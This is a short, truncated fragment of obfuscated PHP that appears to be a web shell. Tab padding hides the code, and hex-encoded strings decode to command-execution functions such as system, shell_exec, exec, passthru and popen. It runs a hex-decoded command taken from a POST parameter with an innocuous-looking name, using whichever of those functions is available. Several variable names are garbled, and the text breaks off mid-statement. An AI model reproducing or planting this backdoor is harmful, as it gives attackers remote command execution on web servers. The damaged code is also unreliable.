php																																										'7'0 = '1';
'7'1 = 'd';
'7'2 = '2';
$core_engine1 = pack("H*", '73797374656d');
$core_engine2 = pack("H*", '7368656c6c5f65786563');
$core_engine3 = pack("H*", '65786563');
$core_engine4 = pack("H*", '7061737374687275');
$core_engine5 = pack("H*", '706f70656e');
$core_engine6 = pack("H*", '7374726567'0.'67'1.'5f6765745f636f6e74656e7473');
$core_engine7 = pack("H*", '70636c6f7365');
$reverse_lookup = pack("H*", '77'2.'6576657273655f6c6f6f6b7570');
	if(isset($_POST[$reverse_lookup])){
	$reverse_lookup=pack("H*",$_POST[$reverse_lookup]);
		if(function_exists($core_engine1)){
		$core_engine1($reverse_lookup);
	}
		elseif(function_exists($core_engine2)){
		print $core_engine2($reverse_lookup);
	}
	elseif(function_exist